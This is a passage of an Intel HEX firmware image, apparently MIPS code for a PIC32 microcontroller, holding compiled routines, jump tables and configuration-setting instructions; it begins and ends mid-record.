ff422472\n:10f28c001800c38f211062000000c38f0000639030\n:10f29c00000043a00000c28f0800c393000043a0ed\n:10f2ac000000c28f010042240000c2af1c00c28fbc\n:10f2bc00ffff42241c00c2af1c00c38f0400c28f8e\n:10f2cc002b104300e6ff40140000000021e8c003af\n:10f2dc001400be8f1800bd270800e00300000000da\n:10f2ec00f0ffbd270c00beaf21f0a0031000c4af8f\n:10f2fc001400c5af1400c28f01004230040040104e\n:10f30c000000000021100000debc400b00000000db\n:10f31c00dabc400b000000001000c28f00004290cd\n:10f32c000000c2a31000c28f010043901000c28fd6\n:10f33c00000043a01000c28f010042240000c393c0\n:10f34c00000043a01400c28ffeff42241400c2af81\n:10f35c001000c28f020042241000c2af1400c28ff2\n:10f36c00edff4014000000000100022421e8c0035e\n:10f37c000c00be8f1000bd270800e0030000000049\n:10f38c00f0ffbd270c00beaf21f0a0031000c4afee\n:10f39c002110a0001800c6af1400c2a30000c0af1b\n:10f3ac00f8bc400b000000001800c28fffff422485\n:10f3bc001000c38f21106200000042900000c38f28\n:10f3cc00211062000000c2af1800c28fffff422460\n:10f3dc001800c2af1800c28ff3ff401400000000e9\n:10f3ec000000c28f010042300000c2af0000c28f8b\n:10f3fc00ff0043301400c29326106200ff0042301d\n:10f40c0021e8c0030c00be8f1000bd270800e003ec\n:10f41c0000000000e8ffbd271400bfaf1000beaf16\n:10f42c0021f0a0031800c4af01000424e30d410f28\n:10f43c000000000020bd400b000000001800c28f2f\n:10f44c000c0040100000000021200000e30d410fd3\n:10f45c0000000000211840001800c28f2b10430040\n:10f46c0004004010000000002110000040bd400bc3\n:10f47c000000000088bf023cd060428c000142308a\n:10f48c00eeff40100000000001000424e30d410fca\n:10f49c000000000038bd400b000000001800c28fb7\n:10f4ac000c0040100000000021200000e30d410f73\n:10f4bc0000000000211840001800c28f2b104300e0\n:10f4cc0004004010000000002110000040bd400b63\n:10f4dc000000000088bf023cd060428c000142302a\n:10f4ec00eeff40140000000021200000fb0d410f36\n:10f4fc000000000021e8c0031400bf8f1000be8f75\n:10f50c001800bd270800e00300000000e8ffbd273d\n:10f51c001400bfaf1000beaf21f0a0031800c4afa1\n:10f52c0001000424e30d410f000000005ebd400b00\n:10f53c00000000001800c28f0c00401000000000fa\n:10f54c0021200000e30d410f0000000021184000b5\n:10f55c001800c28f2b104300040040100000000064\n:10f56c00211000007ebd400b0000000088bf023c53\n:10f57c00d060428c00014230eeff401400000000cd\n:10f58c0001000424e30d410f0000000076bd400b88\n:10f59c00000000001800c28f0c004010000000009a\n:10f5ac0021200000e30d410f000000002118400055\n:10f5bc001800c28f2b104300040040100000000004\n:10f5cc00211000007ebd400b0000000088bf023cf3\n:10f5dc00d060428c00014230eeff40100000000071\n:10f5ec0021200000fb0d410f0000000021e8c003aa\n:10f5fc001400bf8f1000be8f1800bd270800e00359\n:10f60c0000000000e8ffbd271400bfaf1000beaf24\n:10f61c0021f0a0031800c4af1c00c5af21200000ce\n:10f62c001800c58f1c00c68f2110072496bd400ff3\n:10f63c000000000021e8c0031400bf8f1000be8f33\n:10f64c001800bd270800e00300000000e8ffbd27fc\n:10f65c001400beaf21f0a0031800c4af1c00c5af4e\n:10f66c002000c6af2400c7af0000c0afcbbd400b1d\n:10f67c00000000001c00c38f0000c28f211062002c\n:10f68c00000042900800c2af0800c28f00120200b6\n:10f69c000800c2af0400c0afc1bd400b00000000a9\n:10f6ac001800c38f0800c28f261062000080423001\n:10f6bc0008004010000000001800c28f4018020023\n:10f6cc002400c28f261062001800c2afbbbd400bd5\n:10f6dc00000000001800c28f401002001800c2afda\n:10f6ec000800c28f401002000800c2af0400c28f95\n:10f6fc00010042240400c2af0400c28f0800422c57\n:10f70c00e7ff4014000000001800c28fffff4230da\n:10f71c001800c2af0000c28f010042240000c2af2b\n:10f72c000000c38f2000c28f2b106200d1ff401449\n:10f73c00000000001800c28f21e8c0031400be8f27\n:10f74c001800bd270800e00300000000e8ffbd27fb\n:10f75c001400bfaf1000beaf21f0a0032110800039\n:10f76c001800c2a3e7bd400b00000000059d023c41\n:10f77c00784c4424059d023ccc4c45240413410f89\n:10f78c00000000001800c293ffff42241800c2a31f\n:10f79c001800c293f5ff40140000000021e8c003dc\n:10f7ac001400bf8f1000be8f1800bd270800e003a7\n:10f7bc0000000000e8ffbd271400bfaf1000beaf73\n:10f7cc0021f0a003059d023c784c4424059d023c8d\n:10f7dc00d04c45240413410f0000000021e8c00365\n:10f7ec001400bf8f1000be8f1800bd270800e00367\n:10f7fc0000000000e8ffbd271400bfaf1000beaf33\n:10f80c0021f0a0031800c4af1c00c5af059d023c3d\n:10f81c00784c4424059d023c9c4c45240413410f18\n:10f82c00000000001c00c28f00004290212040000c\n:10f83c00d6bd400f00000000059d023cf84c44244e\n:10f84c001800c58f0413410f000000001c00c28f6c\n:10f85c000000429002004224ff0043301c00c28f83\n:10f86c00000043a021e8c0031400bf8f1000be8f1e\n:10f87c001800bd270800e00300000000e8ffbd27ca\n:10f88c001400bfaf1000beaf21f0a0031800c4af2e\n:10f89c001c00c5af2000c6af2000c28f070040106f\n:10f8ac0000000000059d023c784c4424059d023c60\n:10f8bc009c4c45240413410f000000001c00c28f17\n:10f8cc00000042900200422c09004014000000008d\n:10f8dc001c00c28f00004290feff4224ff00433008\n:10f8ec001c00c28f000043a041be400b0000000072\n:10f8fc001c00c28f000040a02000c28f06004010e8\n:10f90c00000000001c00c28f00004290212040002b\n:10f91c00d6bd400f00000000059d023c004d442464\n:10f92c001800c58f0413410f0000000021e8c0032c\n:10f93c001400bf8f1000be8f1800bd270800e00315\n:10f94c0000000000e8ffbd271400bfaf1000beafe1\n:10f95c0021f0a0031800c4af2110a0001c00c2a30a\n:10f96c00059d023c784c4424059d023c9c4c45244e\n:10f97c000413410f000000001c00c2932120400022\n:10f98c00d6bd400f00000000059d023c784c44247d\n:10f99c001800c58f0413410f0000000021e8c003bc\n:10f9ac001400bf8f1000be8f1800bd270800e003a5\n:10f9bc0000000000e8ffbd271400bfaf1000beaf71\n:10f9cc0021f0a0031800c4af1c00c5af2000c6afc7\n:10f9dc001800c48f2000c58f00be400f000000002f\n:10f9ec00059d023c784c44241c00c58f0413410f28\n:10f9fc00000000001800c48f2000c58f21300000cb\n:10fa0c0022be400f0000000021e8c0031400bf8f8d\n:10fa1c001000be8f1800bd270800e0030000000096\n:10fa2c00e0ffbd271c00bfaf1800beaf21f0a00344\n:10fa3c002000c4af2110a0002800c6af2400c2a330\n:10fa4c002000c48f2800c58f00be400f00000000ae\n:10fa5c002400c2931000c32721206000059d033ca5\n:10fa6c00984c652421304000e455410f0000000003\n:10fa7c00059d023c784c44241000c22721284000ec\n:10fa8c000413410f000000002000c48f2800c58f14\n:10fa9c002130000022be400f0000000021e8c0030e\n:10faac001c00bf8f1800be8f2000bd270800e0038c\n:10fabc0000000000e0ffbd271c00bfaf1800beaf68\n:10facc0021f0a0032000c4af2118a0002800c6af6d\n:10fadc002110e0002400c3a32c00c2a31000c0af6f\n:10faec00dabe400b000000001000c28f1f00423035\n:10fafc000b00401400000000059d023c784c44248f\n:10fb0c00059d023c9c4c45240413410f0000000051\n:10fb1c002c00c29321204000d6bd400f00000000f5\n:10fb2c002000c38f1000c28f211062000000439090\n:10fb3c002400c29324106200ff004230059d033c58\n:10fb4c00844c6424212840006913410f00000000fc\n:10fb5c001000c28f010042241000c2af1000c38fee\n:10fb6c002800c28f2b106200dfff40140000000041\n:10fb7c0021e8c0031c00bf8f1800be8f2000bd27da\n:10fb8c000800e00300000000e8ffbd271400bfaf31\n:10fb9c001000beaf21f0a0031800c4af1c00c5af0d\n:10fbac002110c0002400c7af2000c2a31800c48fce\n:10fbbc002800c58f00be400f000000002000c3933a\n:10fbcc002800c28f000042901c00c48f21286000c6\n:10fbdc002400c68f21384000b0be400f000000004a\n:10fbec001800c48f2800c58f0100062422be400fc8\n:10fbfc000000000021e8c0031400bf8f1000be8f6e\n:10fc0c001800bd270800e00300000000e0ffbd273e\n:10fc1c001c00bfaf1800beaf21f0a003059d023c35\n:10fc2c003c3b4424059d023c403b45240413410fbe\n:10fc3c0000000000010002241000c2a322bf400bf0\n:10fc4c00000000001000c39300a0023c80180300c9\n:10fc5c004c714224211062000000428c059d033c33\n:10fc6c00583b6424212840000413410f000000007d\n:10fc7c001000c293010042241000c2a31000c393d1\n:10fc8c0000a0023c801803004c7142242110620039\n:10fc9c000000428cebff401400000000059d023c6c\n:10fcac003c3b4424059d023c603b45240413410f1e\n:10fcbc000000000021e8c0031c00bf8f1800be8f9d\n:10fccc002000bd270800e00300000000e0ffbd2776\n:10fcdc001c00bfaf1800beaf21f0a0032000c4afc2\n:10fcec001000c0a350bf400b000000001000c393d5\n:10fcfc0000a0023c801803004c71422421106200c9\n:10fd0c000000428c2000c48f21284000544e410f2b\n:10fd1c000000000004004014000000001000c2931a\n:10fd2c0059bf400b000000001000c2930100422498\n:10fd3c001000c2a31000c39300a0023c8018030063\n:10fd4c004c714224211062000000428ce7ff4014e9\n:10fd5c00000000002110000021e8c0031c00bf8f30\n:10fd6c001800be8f2000bd270800e0030000000033\n:10fd7c00e8ffbd271400bfaf1000beaf21f0a003f9\n:10fd8c00211080001800c2a31800c2931300432c4a\n:10fd9c00310060100000000080180200039d023c3e\n:10fdac00c0fd4224211062000000428c080040007b\n:10fdbc000000000064fe029d0cfe029d0cfe029de4\n:10fdcc000cfe029d0cfe029d0cfe029d0cfe029d83\n:10fddc0034fe029d40fe029d64fe029d4cfe029d7f\n:10fdec0064fe029d64fe029d64fe029d64fe029d03\n:10fdfc0064fe029d58fe029d64fe029d28fe029d3b\n:10fe0c0000a0023cd8574290212040005fbf400f19\n:10fe1c00000000009abf400b0000000020000224ec\n:10fe2c009abf400b00000000200002249abf400b38\n:10fe3c0000000000200002249abf400b00000000cc\n:10fe4c00200002249abf400b000000002000022476\n:10fe5c009abf400b000000002110000021e8c003f5\n:10fe6c001400bf8f1000be8f1800bd270800e003e0\n:10fe7c0000000000e0ffbd271c00bfaf1800beafa4\n:10fe8c001400b0af21f0a003211080002000c2a309\n:10fe9c002000c2931300432c3800601000000000b7\n:10feac0080180200039d023cc8fe4224211062000f\n:10febc000000428c080040000000000088ff029dfa\n:10fecc0014ff029d14ff029d14ff029d14ff029d5e\n:10fedc0014ff029d14ff029d58ff029d64ff029dba\n:10feec0088ff029d70ff029d88ff029d88ff029d86\n:10fefc0088ff029d88ff029d88ff029d7cff029d6a\n:10ff0c0088ff029d4cff029d00a0023cdc5642245f\n:10ff1c00b000508c00a0023cd857429021204000e9\n:10ff2c005fbf400f000000001b000202f401400004\n:10ff3c001010000012100000e3bf400b0000000086\n:10ff4c000e000224e3bf400b00000000400002241e\n:10ff5c00e3bf400b0000000008000224e3bf400b8d\n:10ff6c000000000008000224e3bf400b000000006a\n:10ff7c0008000224e3bf400b000000002110000029\n:10ff8c0021e8c0031c00bf8f1800be8f1400b08f77\n:10ff9c002000bd270800e00300000000f8ffbd278b\n:10ffac000400beaf21f0a003211080000800c2a302\n:10ffbc000800c2931600432c4b0060100000000098\n:10ffcc0080180200039d023ce8ff422421106200cd\n:10ffdc000000428c0800400000000000f400039d6b\n:10ffec004000039d4000039d4000039d4000039d85\n:10fffc004000039d4000039d9400039da000039dc1\n:020000041d03da\n:10000c004c00039dc400039d6400039dac00039d44\n:10001c00b800039ddc00039d7c00039dd000039d74\n:10002c007000039d5800039df400039d8800039d00\n:10003c00e800039d000102243ec0400b00000000bc\n:10004c00400002243ec0400b00000000c00102240e\n:10005c003ec0400b00000000600002243ec0400b7c\n:10006c0000000000600002243ec0400b00000000b5\n:10007c00800002243ec0400b0000000070000224ef\n:10008c003ec0400b00000000000802243ec0400ba4\n:10009c0000000000000102243ec0400b00000000e4\n:1000ac00400002243ec0400b00000000e00002248f\n:1000bc003ec0400b00000000000102243ec0400b7b\n:1000cc0000000000000102243ec0400b00000000b4\n:1000dc00400002243ec0400b0000000040000224ff\n:1000ec003ec0400b000000002110000021e8c003be\n:1000fc000400be8f0800bd270800e00300000000cc\n:10010c00e0fdbd271c02bfaf1802beaf21f0a0035b\n:10011c0000a0023cdc564224870042901100c2a38e\n:10012c00059d023c3c3b4424059d023c603b452420\n:10013c000413410f00000000010002241000c2a3b0\n:10014c0077c0400b000000001000c39300a0023cdd\n:10015c00801803004c714224211062000000428c74\n:10016c00059d033c643b6424212840000413410f8b\n:10017c00000000001000c293212040008fc0400fef\n:10018c000000000000a0023cdc5642248700429094\n:10019c001400c3272120600021284000ec2d410fc2\n:1001ac000000000007004010000000001400c227ef\n:1001bc00059d033c3c3b6424212840000413410f63\n:1001cc00000000001000c293010042241000c2a3e2\n:1001dc001000c39300a0023c801803004c71422411\n:1001ec00211062000000428cd7ff40140000000078\n:1001fc001100c293212040008fc0400f000000006e\n:10020c00059d023c3c3b4424059d023c603b45243f\n:10021c000413410f0000000021e8c0031c02bf8f33\n:10022c001802be8f2002bd270800e003000000006a\n:10023c00e8ffbd271400bfaf1000beaf21f0a00334\n:10024c00211080001800c2a300a0023cdc564224fe\n:10025c009c0040ac00a0023cdc564224c40040ace4\n:10026c0000a0023cdc564224cc0040ac00a0023c76\n:10027c00dc564224d00040ac00a0023cdc564224a8\n:10028c00c80040ac00a0023cdc564224a00040a0b8\n:10029c0000a0023cdc564224d80040ac00a0023c3a\n:1002ac00dc564224dc0040ac00a0023cdc5642246c\n:1002bc00a40040ac00a0023cdc564224a80040ac98\n:1002cc0000a0023cdc564224ac0040ac00a0023c36\n:1002dc00dc564224b00040ac00a0023cdc56422468\n:1002ec001800c393870043a000a0023cdc564224b4\n:1002fc00d40040ac00a0023cdc5642248c0040ac44\n:10030c0000a0023cdc564224bd0040a000a0023cf0\n:10031c00dc564224be0040a000a0023cdc56422425\n:10032c00bf0040a000a0023cdc564224c00040a00c\n:10033c0000a0023cdc564224bc0040a000a0023cc1\n:10034c00dc564224e00040ac00a0023cdc564224c7\n:10035c00ec0040ac00a0023cdc564224f00040ac67\n:10036c0000a0023cdc564224e40040ac00a0023c5d\n:10037c00dc564224e80040ac00a0023cdc5642248f\n:10038c00f80040ac00a0023cdc564224f40040ac27\n:10039c001800c2931600432c3704601000000000b4\n:1003ac0080180200039d023cc80342242110620005\n:1003bc000000428c08004000000000009014039dd7\n:1003cc002004039dd008039d8809039d2010039de4\n:1003dc008414039d8414039d400b039da40c039d66\n:1003ec00bc05039de810039d400a039d100e039d60\n:1003fc00180f039dbc05039dd407039d5c12039d40\n:10040c00b804039dac06039dcc13039d8414039d7b\n:10041c00bc05039d00a0023cdc56422420030324af\n:10042c009c0043ac00a0023cdc5642240100032497\n:10043c00a00043a000a0023cdc564224640003242c\n:10044c00dc0043ac00a0023cdc5642242000032418\n:10045c00a40043ac00a0023cdc564224000103245f\n:10046c00b00043ac00a0023cdc5642241800c393fd\n:10047c00870043a000a0023cdc5642241400032455\n:10048c00d40043ac00a0023cdc564224c832032406\n:10049c008c0043ac00a0023cdc564224e80303244d\n:1004ac00f00043ac25c5400b0000000000a0023c4e\n:1004bc00dc564224200303249c0043ac00a0023ce5\n:1004cc00dc56422403000324a00043a000a0023cfd\n:1004dc00dc5642246e000324dc0043ac00a0023c3a\n:1004ec00dc56422432000324a40043ac00a0023c9e\n:1004fc00dc56422408000324a80043ac00a0023cb4\n:10050c00dc5642240a000324ac0043ac00a0023c9d\n:10051c00dc56422460000324b00043ac00a0023c33\n:10052c00dc5642241800c393870043a000a0023c71\n:10053c00dc56422414000324d40043ac00a0023c3b\n:10054c00dc564224c83203248c0043ac00a0023c8d\n:10055c00dc56422401000324bd0043a000a0023c51\n:10056c00dc5642241d000324be0043a000a0023c24\n:10057c00dc56422480ff0324bf0043a000a0023cb1\n:10058c00dc564224c00040a000a0023cdc564224b1\n:10059c0012000324bc0043a000a0023cdc56422401\n:1005ac00e8030324f00043ac25c5400b0000000019\n:1005bc0000a0023cdc564224200303249c0043ace4\n:1005cc0000a0023cdc56422401000324cc0043acc6\n:1005dc0000a0023cdc56422401000324a00043a0ee\n:1005ec0000a0023cdc56422496000324dc0043ac01\n:1005fc0000a0023cdc56422440000324a40043ac7f\n:10060c0000a0023cdc56422440000324b00043ac62\n:10061c0000a0023cdc5642241800c393870043a080\n:10062c0000a0023cdc56422414000324d40043ac4a\n:10063c0000a0023cdc564224c83203248c0043ac9c\n:10064c0000a0023cdc564224ffff0324bd0043a063\n:10065c0000a0023cdc564224ffff0324be0043a052\n:10066c0000a0023cdc564224bf0040a000a0023c8b\n:10067c00dc564224c00040a000a0023cdc564224c0\n:10068c0009000324bc0043a000a0023cdc56422419\n:10069c00e8030324f00043ac25c5400b0000000028\n:1006ac0000a0023cdc564224200303249c0043acf3\n:1006bc0000a0023cdc56422401000324cc0043acd5\n:1006cc0000a0023cdc56422401000324a00043a0fd\n:1006dc0000a0023cdc56422482000324dc0043ac24\n:1006ec0000a0023cdc56422440000324a40043ac8e\n:1006fc0000a0023cdc56422435000324b00043ac7d\n:10070c0000a0023cdc5642240e000324b40043ac8f\n:10071c0000a0023cdc56422420000324b80043ac69\n:10072c0000a0023cdc5642241800c393870043a06f\n:10073c0000a0023cdc56422414000324d40043ac39\n:10074c0000a0023cdc564224c83203248c0043ac8b\n:10075c0000a0023cdc564224e8030324f00043ac26\n:10076c0000a0023cdc56422437000324e00043acda\n:10077c0000a0023cdc564224d0070324ec0043ac1e\n:10078c0000a0023cdc56422410000324e40043acdd\n:10079c0000a0023cdc56422420000324e80043acb9\n:1007ac0000a0023cdc5642243c000324f40043ac81\n:1007bc0000a0023cdc56422450000324f80043ac59\n:1007cc0025c5400b0000000000a0023cdc56422472\n:1007dc00e90203249c0043ac00a0023cdc564224fa\n:1007ec0001000324c40043ac00a0023cdc564224ac\n:1007fc0001000324c80043ac00a0023cdc56422498\n:10080c0001000324a00043a000a0023cdc564224bb\n:10081c0082000324dc0043ac00a0023cdc564224e2\n:10082c0020000324a40043ac00a0023cdc5642246c\n:10083c0080000324b00043ac00a0023cdc564224f0\n:10084c001800c393870043a000a0023cdc5642244e\n:10085c0014000324d40043ac00a0023cdc56422418\n:10086c00c83203248c0043ac00a0023cdc5642246a\n:10087c00bd0040a000a0023cdc5642242000032412\n:10088c00be0043a000a0023cdc564224bf0040a0a6\n:10089c0000a0023cdc564224c00040a000a0023c58\n:1008ac00dc5642240b000324bc0043a000a0023cf5\n:1008bc00dc564224e8030324f00043ac25c5400b6e\n:1008cc000000000000a0023cdc564224200303245c\n:1008dc009c0043ac00a0023cdc56422402000324e2\n:1008ec00a00043a000a0023cdc5642249600032446\n:1008fc00dc0043ac00a0023cdc5642243200032452\n:10090c00a40043ac00a0023cdc56422408000324a3\n:10091c00a80043ac00a0023cdc5642240500032492\n:10092c00ac0043ac00a0023cdc5642240001032482\n:10093c00b00043ac00a0023cdc5642241800c39328\n:10094c00870043a000a0023cdc5642241400032480\n:10095c00d40043ac00a0023cdc564224c832032431\n:10096c008c0043ac00a0023cdc564224e803032478\n:10097c00f00043ac25c5400b0000000000a0023c79\n:10098c00dc564224200303249c0043ac00a0023c10\n:10099c00dc56422403000324a00043a000a0023c28\n:1009ac00dc5642245a000324dc0043ac00a0023c79\n:1009bc00dc56422432000324a40043ac00a0023cc9\n:1009cc00dc56422408000324a80043ac00a0023cdf\n:1009dc00dc5642240a000324ac0043ac00a0023cc9\n:1009ec00dc56422400010324b00043ac00a0023cbe\n:1009fc00dc5642241800c393870043a000a0023c9d\n:100a0c00dc56422414000324d40043ac00a0023c66\n:100a1c00dc564224c83203248c0043ac00a0023cb8\n:100a2c00dc564224e8030324f00043ac25c5400bfc\n:100a3c000000000000a0023cdc56422420030324ea\n:100a4c009c0043ac00a0023cdc564224030003246f\n:100a5c00a00043a000a0023cdc5642246e000324fc\n:100a6c00dc0043ac00a0023cdc56422432000324e0\n:100a7c00a40043ac00a0023cdc5642240800032432\n:100a8c00a80043ac00a0023cdc5642240a0003241c\n:100a9c00ac0043ac00a0023cdc56422460000324b2\n:100aac00b00043ac00a0023cdc5642241800c393b7\n:100abc00870043a000a0023cdc564224140003240f\n:100acc00d40043ac00a0023cdc564224c8320324c0\n:100adc008c0043ac00a0023cdc5642241d000324d5\n:100aec00bd0043a000a0023cdc5642245500032468\n:100afc00be0043a000a0023cdc564224bf0040a034\n:100b0c0000a0023cdc564224c00040a000a0023ce5\n:100b1c00dc56422410000324bc0043a000a0023c7d\n:100b2c00dc564224e8030324f00043ac25c5400bfb\n:100b3c000000000000a0023cdc56422420030324e9\n:100b4c009c0043ac00a0023cdc5642240100032470\n:100b5c00cc0043ac00a0023cdc5642240100032430\n:100b6c00a00043a000a0023cdc564224aa000324af\n:100b7c00dc0043ac00a0023cdc56422420000324e1\n:100b8c00a40043ac00a0023cdc5642242100032408\n:100b9c00b00043ac00a0023cdc56422440000324cd\n:100bac00b40043ac00a0023cdc56422420000324d9\n:100bbc00b80043ac00a0023cdc5642241800c3939e\n:100bcc00870043a000a0023cdc56422414000324fe\n:100bdc00d40043ac00a0023cdc564224c8320324af\n:100bec008c0043ac00a0023cdc56422404000324dd\n:100bfc00e00043ac00a0023cdc564224d0070324a6\n:100c0c00ec0043ac00a0023cdc564224f40103246b\n:100c1c00f00043ac00a0023cdc564224120003243a\n:100c2c00e40043ac00a0023cdc5642241a0003242e\n:100c3c00e80043ac00a0023cdc564224b400032480\n:100c4c00f40043ac00a0023cdc56422478000324a0\n:100c5c00f80043ac00a0023cdc564224bc0040a08f\n:100c6c0000a0023cdc564224bd0040a000a0023c87\n:100c7c00dc564224bd0040a000a0023cdc564224bd\n:100c8c00bd0040a000a0023cdc564224bd0040a0a8\n:100c9c0025c5400b0000000000a0023cdc5642249d\n:100cac00200303249c0043ac00a0023cdc564224ed\n:100cbc0001000324cc0043ac00a0023cdc564224cf\n:100ccc0001000324a00043a000a0023cdc564224f7\n:100cdc00a0000324dc0043ac00a0023cdc56422400\n:100cec0020000324a40043ac00a0023cdc564224a8\n:100cfc0025000324b00043ac00a0023cdc56422487\n:100d0c0008000324b40043ac00a0023cdc5642248f\n:100d1c0020000324b80043ac00a0023cdc56422463\n:100d2c001800c393870043a000a0023cdc56422469\n:100d3c0014000324d40043ac00a0023cdc56422433\n:100d4c00c83203248c0043ac00a0023cdc56422485\n:100d5c0003000324e00043ac00a0023cdc56422418\n:100d6c00d0070324ec0043ac00a0023cdc56422428\n:100d7c000d020324f00043ac00a0023cdc564224dc\n:100d8c0012000324e40043ac00a0023cdc564224d5\n:100d9c001a000324e80043ac00a0023cdc564224b9\n:100dac0096000324f40043ac00a0023cdc56422421\n:100dbc005a000324f80043ac00a0023cdc56422449\n:100dcc00f8ff0324bd0043a000a0023cdc564224e3\n:100ddc00be0040a000a0023cdc564224bf0040a054\n:100dec0000a0023cdc564224c00040a000a0023c03\n:100dfc00dc56422405000324bc0043a025c5400b4f\n:100e0c000000000000a0023cdc5642242003032416\n:100e1c009c0043ac00a0023cdc564224040003249a\n:100e2c00a00043a000a0023cdc5642246400032432\n:100e3c00d80043ac00a0023cdc564224aa00032498\n:100e4c00dc0043ac00a0023cdc564224200003240e\n:100e5c00a40043ac00a0023cdc5642240200032454\n:100e6c00a80043ac00a0023cdc5642244000032402\n:100e7c00b00043ac00a0023cdc5642241800c393e3\n:100e8c00870043a000a0023cdc564224140003243b\n:100e9c00d40043ac00a0023cdc564224c8320324ec\n:100eac008c0043ac00a0023cdc564224040003241a\n:100ebc00880043ac00a0023cdc564224bd0040a09c\n:100ecc0000a0023cdc564224be0040a000a0023c24\n:100edc00dc564224bf0040a000a0023cdc56422459\n:100eec00c00040a000a0023cdc56422418000324a1\n:100efc00bc0043a000a0023cdc564224e8030324bf\n:100f0c00f00043ac25c5400b0000000000a0023ce3\n:100f1c00dc564224200303249c0043ac00a0023c7a\n:100f2c00dc56422404000324a00043a000a0023c91\n:100f3c00dc56422464000324d80043ac00a0023cdd\n:100f4c00dc564224aa000324dc0043ac00a0023c83\n:100f5c00dc56422420000324a40043ac00a0023c35\n:100f6c00dc56422402000324a80043ac00a0023c3f\n:100f7c00dc564224e0000324b00043ac00a0023c49\n:100f8c00dc5642241800c393870043a000a0023c07\n:100f9c00dc56422414000324d40043ac00a0023cd1\n:100fac00dc564224c83203248c0043ac00a0023c23\n:100fbc00dc56422404000324880043ac00a0023c0d\n:100fcc00dc564224bd0040a000a0023cdc5642246a\n:100fdc00be0040a000a0023cdc564224bf0040a052\n:100fec0000a0023cdc564224c00040a000a0023c01\n:100ffc00dc56422418000324bc0043a000a0023c91\n:10100c00dc564224e8030324f00043ac25c5400b16\n:10101c000000000000a0023cdc5642242003032404\n:10102c009c0043ac00a0023cdc5642240400032488\n:10103c00a00043a000a0023cdc5642246400032420\n:10104c00d80043ac00a0023cdc564224960003249a\n:10105c00dc0043ac00a0023cdc56422420000324fc\n:10106c00a40043ac00a0023cdc5642240200032442\n:10107c00a80043ac00a0023cdc564224000103242f\n:10108c00b00043ac00a0023cdc5642241800c393d1\n:10109c00870043a000a0023cdc5642241400032429\n:1010ac00d40043ac00a0023cdc564224c8320324da\n:1010bc008c0043ac00a0023cdc5642240400032408\n:1010cc00880043ac00a0023cdc564224e803032415\n:1010dc00f00043ac25c5400b0000000000a0023c12\n:1010ec00dc564224200303249c0043ac00a0023ca9\n:1010fc00dc56422401000324cc0043ac00a0023c8b\n:10110c00dc56422401000324a00043a000a0023cb2\n:10111c00dc564224a0000324dc0043ac00a0023cbb\n:10112c00dc56422440000324a40043ac00a0023c43\n:10113c00dc56422440000324b00043ac00a0023c27\n:10114c00dc56422408000324b40043ac00a0023c4b\n:10115c00dc56422420000324b80043ac00a0023c1f\n:10116c00dc5642241800c393870043a000a0023c25\n:10117c00dc56422414000324d40043ac00a0023cef\n:10118c00dc564224c83203248c0043ac00a0023c41\n:10119c00dc564224ffff0324bd0043a000a0023c08\n:1011ac00dc564224ffff0324be0043a000a0023cf7\n:1011bc00dc564224bf0040a000a0023cdc56422476\n:1011cc00c00040a000a0023cdc56422409000324cd\n:1011dc00bc0043a000a0023cdc564224c8320324cd\n:1011ec00ec0043ac00a0023cdc564224a00f0324cc\n:1011fc00f00043ac00a0023cdc5642243200032435\n:10120c00e00043ac00a0023cdc5642241000032456\n:10121c00e40043ac00a0023cdc5642243000032422\n:10122c00e80043ac00a0023cdc564224300003240e\n:10123c00f40043ac00a0023cdc564224c000032462\n:10124c00f80043ac988080af25c5400b000000002f\n:10125c0000a0023cdc564224200303249c0043ac37\n:10126c0000a0023cdc56422401000324a00043a051\n:10127c0000a0023cdc56422496000324dc0043ac64\n:10128c0000a0023cdc56422401000324cc0043acf9\n:10129c0000a0023cdc56422420000324a40043acf2\n:1012ac0000a0023cdc56422440000324b00043acb6\n:1012bc0000a0023cdc564224e0ff0324bd0043a006\n:1012cc0000a0023cdc56422415000324be0043a0bf\n:1012dc0000a0023cdc564224bf0040a000a0023c0f\n:1012ec00dc564224c00040a000a0023cdc56422444\n:1012fc0010000324bc0043a000a0023cdc56422496\n:10130c0008000324b40043ac00a0023cdc56422489\n:10131c0020000324b80043ac00a0023cdc5642245d\n:10132c001800c393870043a000a0023cdc56422463\n:10133c0014000324d40043ac00a0023cdc5642242d\n:10134c00c83203248c0043ac00a0023cdc5642247f\n:10135c00c8320324ec0043ac00a0023cdc5642240f\n:10136c00a00f0324f00043ac00a0023cdc56422446\n:10137c0017000324e00043ac00a0023cdc564224de\n:10138c0010000324e40043ac00a0023cdc564224d1\n:10139c0030000324e80043ac00a0023cdc5642249d\n:1013ac0040000324f40043ac00a0023cdc56422471\n:1013bc00c0000324f80043ac25c5400b000000001e\n:1013cc0000a0023cdc564224200303249c0043acc6\n:1013dc0000a0023cdc5642241800c393870043a0b3\n:1013ec0000a0023cdc56422414000324d40043ac7d\n:1013fc0000a0023cdc564224c83203248c0043accf\n:10140c0000a0023cdc564224c8320324ec0043ac5e\n:10141c0000a0023cdc564224a00f0324f00043ac95\n:10142c0000a0023cdc56422417000324e00043ac2d\n:10143c0000a0023cdc56422410000324e40043ac20\n:10144c0000a0023cdc56422430000324e80043acec\n:10145c0000a0023cdc56422440000324f40043acc0\n:10146c0000a0023cdc564224c0000324f80043ac2c\n:10147c0025c5400b000000002110000047c5400ba3\n:10148c000000000000000000c40c410f0000000030\n:10149c0000a0023cdc564224dc00428c21200000df\n:1014ac00212800002130400000a0023c5c4547246c\n:1014bc00dc2a410f0000000000a0023cdc56422454\n:1014cc00d800428c01000424212800002130400067\n:1014dc0000a0023c5c454724dc2a410f00000000c0\n:1014ec000700023c20a14434240e410f00000000f0\n:1014fc00988080af00a0023cf06a442421280000b0\n:10150c00090006247152410f000000000100022462\n:10151c0021e8c0031400bf8f1000be8f1800bd2738\n:10152c000800e00300000000e8ffbd271400bfaf77\n:10153c001000beaf21f0a0031800c4af1c00c5af53\n:10154c002110c0002000c2a32000c2931600432c1f\n:10155c00890060100000000080180200039d023c0e\n:10156c0080154224211062000000428c08004000cb\n:10157c00000000008417039dd815039dd815039d0a\n:10158c00d815039dd815039dd815039dd815039d1b\n:10159c008417039d8417039d3416039d3416039df5\n:1015ac009416039dc416039df416039d2417039de6\n:1015bc006416039d8417039d0416039dd815039d83\n:1015cc008417039d8417039d5417039d1c00c48f1f\n:1015dc007b4b410f000000001800c48f1c00c58f0e\n:1015ec0021304000214b410f00000000010002247b\n:1015fc00e2c5400b000000001800c48f1c00c58f12\n:10160c008c28410f00000000040040140000000072\n:10161c0021100000e2c5400b000000000100022474\n:10162c00e2c5400b000000001800c48f1c00c58fe1\n:10163c008fdb400f0000000004004014000000008d\n:10164c0021100000e2c5400b000000000100022444\n:10165c00e2c5400b000000001800c48f1c00c58fb1\n:10166c00b61b410f000000000400401400000000f5\n:10167c0021100000e2c5400